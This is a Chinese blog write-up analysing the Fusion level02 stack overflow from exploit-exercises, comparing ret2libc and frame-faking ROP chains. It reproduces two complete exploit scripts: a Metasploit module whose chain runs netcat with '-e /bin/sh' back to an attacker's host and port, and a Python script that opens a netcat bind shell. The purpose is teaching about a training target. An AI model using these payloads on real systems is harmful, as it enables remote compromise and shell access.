通过fusion level02浅谈exploit中的函数调用伪造

0x00 内容简介

​ 通过一道exploit-exercises中的题目的解答来体会frame faking在实际的利用中的使用技巧。通过实践了网上的两个writeup并进行分析,加深理解做了简单的总结。

0x01 获得EIP控制

题目的地址在这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#include "../common/common.c"    

#define XORSZ 32

void cipher(unsigned char *blah, size_t len)
{

static int keyed;
static unsigned int keybuf[XORSZ];

int blocks;
unsigned int *blahi, j;

if(keyed == 0) {
int fd;
fd = open("/dev/urandom", O_RDONLY);
if(read(fd, &keybuf, sizeof(keybuf)) != sizeof(keybuf)) exit(EXIT_FAILURE);
close(fd);
keyed = 1;
}

blahi = (unsigned int *)(blah);
blocks = (len / 4);
if(len & 3) blocks += 1;

for(j = 0; j < blocks; j++) {
blahi[j] ^= keybuf[j % XORSZ];
}
}

void encrypt_file()
{

// http://thedailywtf.com/Articles/Extensible-XML.aspx
// maybe make bigger for inevitable xml-in-xml-in-xml ?
unsigned char buffer[32 * 4096];

unsigned char op;
size_t sz;
int loop;

printf("[-- Enterprise configuration file encryption service --]\n");

loop = 1;
while(loop) {
nread(0, &op, sizeof(op));
switch(op) {
case 'E':
nread(0, &sz, sizeof(sz));
nread(0, buffer, sz);
cipher(buffer, sz);
printf("[-- encryption complete. please mention "
"474bd3ad-c65b-47ab-b041-602047ab8792 to support "
"staff to retrieve your file --]\n");
nwrite(1, &sz, sizeof(sz));
nwrite(1, buffer, sz);
break;
case 'Q':
loop = 0;
break;
default:
exit(EXIT_FAILURE);
}
}

}

int main(int argc, char **argv, char **envp)
{

int fd;
char *p;

background_process(NAME, UID, GID);
fd = serve_forever(PORT);
set_io(fd);

encrypt_file();
}

​ 获得EIP控制的方法可以参考一下两位前辈的分享,已经说得比较清楚了。

解答1.Exploit Exercises - Fusion level02 write up(英文)

解答2.Exploit-Exercises Fusion Level02(中文)

大致的说一下流程。

1.获取KEY

​ 发送自定义数据给服务器,服务器返回异或后的数据,计算得到异或使用的KEY。

​ 2.EIP控制

​ 将PAYLOAD使用异或加密后发送给服务器,服务器会通过异或解密,这样可以往内存中写入可控的数据。

tips:缓冲区大小为32*4096=0x20000,所以获得eip的偏移其实很简单。

1
payload="A"*0x20020+["0xdeadbeef"].pack('V')

在调试的时候适当的减少0x20020的值,然后再次运行poc,就能很简单的找到offset=0x20010

0x02 利用思路

在获得EIP的控制权之后,解答1与解答2都是用了伪造函数调用的方法来实现对漏洞的利用。之前我的文章中介绍过两种伪造函数帧来实现流程控制的方法。frame-faking-介绍-函数调用伪造中有详细的分析。

2.1 ret2lib解决方案

解答1使用了经典的ret2lib的方法,并且在第一次调用nread之后,巧妙的利用ROP完成了清空栈上参数,为第二次调用execve做好准备。

2.2 fake-frame解决方案

解答2使用了fake-frame的方式,在调用nread之前,将ebp指向了.bss段,这样在nread调用完成之后,EIP就指向EBP+4处。

0x03 ret2lib详细分析

3.1exploit源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Tcp

def initialize()
[...] #不重要
end

def encrypt(len, data)
buffer = "E" + [len].pack('L') + data
sock.put(buffer)
msg = buffered_recv(124)
enc_data = buffered_recv(len)
return enc_data
end

def buffered_recv(size)
data = ""
new_data = ""
size_to_receive = size
while(data.length < size) do
new_data = sock.recv(size_to_receive)
size_to_receive -= new_data.length
data += new_data
end
data
end

def xor_encrypt(data, key)
# Make sure key is the same length as the data
while key.length < data.length do
key += key
end
key = key[0..data.length-1]

data.unpack('C*').zip(key.unpack('C*')).map { |p, e| p ^ e}.pack('C*')
end


def exploit
# Open the TCP connection
connect

# Receive initial messages
buffered_recv(57)

# Recover the encryption key
data = "A" *128
encrypted_data = encrypt(data.length, data)
key = xor_encrypt(data, encrypted_data)

# Created enough data to cause a crash
prejunk = "A" * 0x20010

cmd = "/bin/nc.traditional"
null = "\000"
args = [cmd, "-e", "/bin/sh", datastore['LHOST'], datastore['LPORT'].to_s]
bss = 0x0804b420
data = ""


# Create each of the string pointers
offset = 24 + cmd.length + 1 # 6 ptrs, the command, and a null
args.each do |arg|
data += [bss+offset].pack('V')
offset += arg.length + 1
end
# Terminate the string pointers
data += [0x00000000].pack('V')

# The first argument, the filename
data += cmd + null

# Create each of the argument strings
args.each { |arg| data += arg + null }

# ROP chain for nread
ropbuf = [0x0804952d].pack('V') # addr of nread
ropbuf += [0x08048f85].pack('I') # return address, also pop;pop;pop
ropbuf += [0x00000000].pack('I') # arg0: filedes
ropbuf += [0x0804b420].pack('V') # arg1: buf ptr
ropbuf += [data.length].pack('I') # arg2: length

# ROP chain for execve
ropbuf += [0x08048818].pack('V') # pop ebx | ret
ropbuf += [0x0804b3d8].pack('V') # got entry for execve
ropbuf += [0x08049fe3].pack('V') # call ebx
ropbuf += [0x0804b438].pack('V') # addr of /bin/nc.traiditonal
ropbuf += [0x0804b420].pack('I') # addr of args
ropbuf += [0x00000000].pack('I') # null

buf = prejunk + ropbuf
e = xor_encrypt(buf, key)
encrypt(e.length, e)

# Send the quit command
sock.put('Q')

# Send extra data for the rop chain to read
sock.put(data)

handler
disconnect
end
end

3.2 ROP chain for nread

1
2
3
4
5
6
7
8
9
# Created enough data to cause a crash
prejunk = "A" * 0x20010
#[...] 省略
# ROP chain for nread
ropbuf = [0x0804952d].pack('V') # addr of nread
ropbuf += [0x08048f85].pack('I') # return address, also pop;pop;pop
ropbuf += [0x00000000].pack('I') # arg0: filedes
ropbuf += [0x0804b420].pack('V') # arg1: buf ptr
ropbuf += [data.length].pack('I') # arg2: length

3.2.1 发送payload

当payload被提交到给服务器之后,栈上内存空间如下图所示:

栈上内存分布图

了解栈上的内存分布之后,就对控制EIP之后的每一步执行做详细的分析。

3.2.2 改写EIP为nread地址

控制EIP

因为执行了ret指令相当于pop esi,所以EIP地址覆盖为nread函数的起始地址的同时,ESP寄存器指向了后面的ROP组件。pop;pop;pop;ret这个ROP组件也是这一次利用的精髓所做,后面会做详细分析。

3.2.3 执行nread函数

与栈上平衡相关的代码只有开始开始和结束部分的代码。所以着重分析这几句代码。原理很简单,看图就好。

push ebp


mov ebp,esp


sub esp,0x28


leave


ret

3.2.4 清空栈上参数

这里是整个利用最核心的地方,通过ROP调用pop;pop;pop;ret;清空栈上的参数,为下一次函数调用做准备。

ret之前

这是在调用ret指令从nread函数返回之前的栈上内存分布情况,且ret指令执行之后,EIP寄存将被赋值为当前ESP寄存器指向的地址处的代码。也就是回去执行pop;pop;pop;ret;

先假设这里不去做pop;pop;pop;ret;,而是将地址赋值为execve函数的地址,思考一下会发什么什么情况。

显然execve函数的代码会被执行,但是filedes会被认为是execve函数的返回地址,.bss是第一参数,length是第二参数,以此类推。显然是无法进行第二次函数调用的。因为参数无法控制。

但是通过ROP调用pop;pop;pop;ret;之后栈上的参数会被清空,为第二次函数调用execve提供了可能。

执行过程如下图所示。

pop1


pop2


pop3

在三次pop调用之后,栈上空间分布如上图所示。这时候ret指令执行之后,将会执行上图ESP寄存器指向的地址处的代码。而第二次调用的参数应该存放在上图的dont care处的数据。而该处的值是可控的,所以只需要构建第二次调用的ROPchain即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# ROP chain for nread
ropbuf = [0x0804952d].pack('V') # addr of nread
ropbuf += [0x08048f85].pack('I') # return address, also pop;pop;pop
ropbuf += [0x00000000].pack('I') # arg0: filedes
ropbuf += [0x0804b420].pack('V') # arg1: buf ptr
ropbuf += [data.length].pack('I') # arg2: length

# ROP chain for execve
ropbuf += [0x08048818].pack('V') # pop ebx | ret
ropbuf += [0x0804b3d8].pack('V') # got entry for execve
ropbuf += [0x08049fe3].pack('V') # call ebx
ropbuf += [0x0804b438].pack('V') # addr of /bin/nc.traiditonal
ropbuf += [0x0804b420].pack('I') # addr of args
ropbuf += [0x00000000].pack('I') # null

当payload如上面的代码时,从pop;pop;pop;ret;之后将会执行0x08048818处的ROP片段。这里显然很容易理解,通过pop赋值ebxexecve的地址,再call ebx执行函数调用。

3.3 总结

再利用ret2lib来完成伪造函数调用时,如果需要构造一连串的函数调用,可以通过如下图所示的方式来构建ROP链。

栈平衡

如果无法找到相应的ROP组件来完成栈平衡的话,就无法第二次调用需要参数的函数。

但是ret2lib,在不做栈平衡的时候,连续调用没有参数的函数还是可行的。

0x04 fake frame详解

4.1 exploit代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/env python
# encoding: utf-8
import sys
import time
import struct
import socket

def recv_exactly(s, n):
data = ""
while len(data) < n:
data += s.recv(n - len(data))
return data

def get_key(s):
data = 'A'*128
recv_exactly(s, 57)
s.send('E')
s.send(struct.pack("<I", len(data)))
s.send(data)
recv_exactly(s, 120)
size_packed = recv_exactly(s, 4)
size_unpacked = struct.unpack("<I", size_packed)[0]
enc = recv_exactly(s, size_unpacked)

key = []
for i in xrange(0, len(data)):
key.append(ord('A')^ord(enc[i]))
return key

def get_socket(ip, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
s.connect((ip, port))
return s

def encrypt_payload(payload, key):
data = []
keylen = len(key)
for i in xrange(0, len(payload)):
data.append(chr(ord(payload[i])^key[i%keylen]))
return "".join(data)

def pwn(s, key):
base = 0x0804b420
junk = 'A'*0x20010
bss = struct.pack("<I", base)
nread = struct.pack("<I", 0x0804952d)
fd = struct.pack("<I", 0)
size = struct.pack("<I", 100)
popebp = struct.pack("<I", 0x08048b13)
ebp = bss
leaveret = struct.pack("<I", 0x08048b41)
stage0 = popebp + ebp + nread + leaveret + fd + bss + size
payload1 = junk + stage0

print "Sending stage0 data..."
payload1_enc = encrypt_payload(payload1, key)
s.send("E")
s.send(struct.pack("<I", len(payload1_enc)))
s.send(payload1_enc)
time.sleep(0.5)

s.recv(0xFFFFFF)
s.send("Q")
time.sleep(0.5)

null = struct.pack("<I", 0x00)
filler = "DDDD"
execve = struct.pack("<I", 0x080489b0)
exit = struct.pack("<I", 0x08048960)
args = struct.pack("<I", base + 24)
envp = null

data_offset = 40
binnc = struct.pack("<I", base + data_offset)
ncarg1 = struct.pack("<I", base + data_offset + 20)
ncarg2 = struct.pack("<I", base + data_offset + 29)

print "Sending stage1 data..."
stage1 = filler + execve + exit + binnc + args + envp
stage1 += binnc + ncarg1 + ncarg2 + null
stage1 += "/bin/nc.traditional\0" + "-ltp6667\0" + "-e/bin/sh\0"
junk = "E"*(100 - len(stage1))
s.send(stage1+junk)
s.close()

if __name__ == "__main__":
if len(sys.argv) == 3:
s = get_socket(sys.argv[1], int(sys.argv[2]))
key = get_key(s)
pwn(s, key)
print "pwn done..."

同样的分了两步来进行利用。首先看第一块payload。

4.2 构建frame fake的内存分布

1
2
3
4
5
6
7
8
9
10
11
base = 0x0804b420
junk = 'A'*0x20010
bss = struct.pack("<I", base)
nread = struct.pack("<I", 0x0804952d)
fd = struct.pack("<I", 0)
size = struct.pack("<I", 100)
popebp = struct.pack("<I", 0x08048b13)
ebp = bss
leaveret = struct.pack("<I", 0x08048b41)
stage0 = popebp + ebp + nread + leaveret + fd + bss + size
payload1 = junk + stage0

可以看到他的payload在发送给服务器之后,栈上的内存分布应该是这样的。

栈平衡

具体执行流程就不再画了,在我之前的文章有对frame的 faking详细图解。

这个解答就比ret2lib优雅很多,简单叙述一下原理,详见这里

  1. 通过ROP组件将EBP寄存器赋值为一个伪造的栈低。EBP+4处的地址指向了这一次函数调用完成后,下一次会调用的函数。这里是bss地址,所以下一个要调用的函数地址要存放于&bss+4处。
  2. 通过ROP组件实现连续两次leave-ret来完成EIP控制。调用存放于&bss+4处的函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
filler = "DDDD"
execve = struct.pack("<I", 0x080489b0)
exit = struct.pack("<I", 0x08048960)
args = struct.pack("<I", base + 24)
envp = null

data_offset = 40
binnc = struct.pack("<I", base + data_offset)
ncarg1 = struct.pack("<I", base + data_offset + 20)
ncarg2 = struct.pack("<I", base + data_offset + 29)

stage1 = filler + execve + exit + binnc + args + envp
stage1 += binnc + ncarg1 + ncarg2 + null
stage1 += "/bin/nc.traditional\0" + "-ltp6667\0" + "-e/bin/sh\0"

可以看到这里的filler,就是填充了四个字节,使得第二次调用,可以成功调用到execve函数。

0x05 总结

通过两种答案的分析与对比,从逻辑层面以及exploit代码简洁清楚的层面上,frame-faking比ret2lib要好上很多。

通过对两种方法的追踪与重现,也可以很好地加强对栈上布局的理解。

0x06 其他

我的技术博客地址: http://BLOGIMAGE/。

我的推特账号:https://twitter.com/samulehuang

一般每天都会在liveingcode直播学习的过程 ,大家方便的话可以来帮我攒点人气:)。

欢迎大家前来指教。

0x07 感谢&索引

感谢分享:)

1.Exploit Exercises - Fusion level02 write up

https://philwantsfish.github.io/fusion-level02-walkthrough/

2.Exploit-Exercises Fusion Level02

http://www.programlife.net/fusion-level-02.html

文章目录
  1. 1. 0x00 内容简介
  2. 2. 0x01 获得EIP控制
  3. 3. 0x02 利用思路
    1. 3.1. 2.1 ret2lib解决方案
    2. 3.2. 2.2 fake-frame解决方案
  4. 4. 0x03 ret2lib详细分析
    1. 4.1. 3.1exploit源码
    2. 4.2. 3.2 ROP chain for nread
      1. 4.2.1. 3.2.1 发送payload
      2. 4.2.2. 3.2.2 改写EIP为nread地址
      3. 4.2.3. 3.2.3 执行nread函数
      4. 4.2.4. 3.2.4 清空栈上参数
    3. 4.3. 3.3 总结
  5. 5. 0x04 fake frame详解
    1. 5.1. 4.1 exploit代码
    2. 5.2. 4.2 构建frame fake的内存分布
  6. 6. 0x05 总结
  7. 7. 0x06 其他
  8. 8. 0x07 感谢&索引
,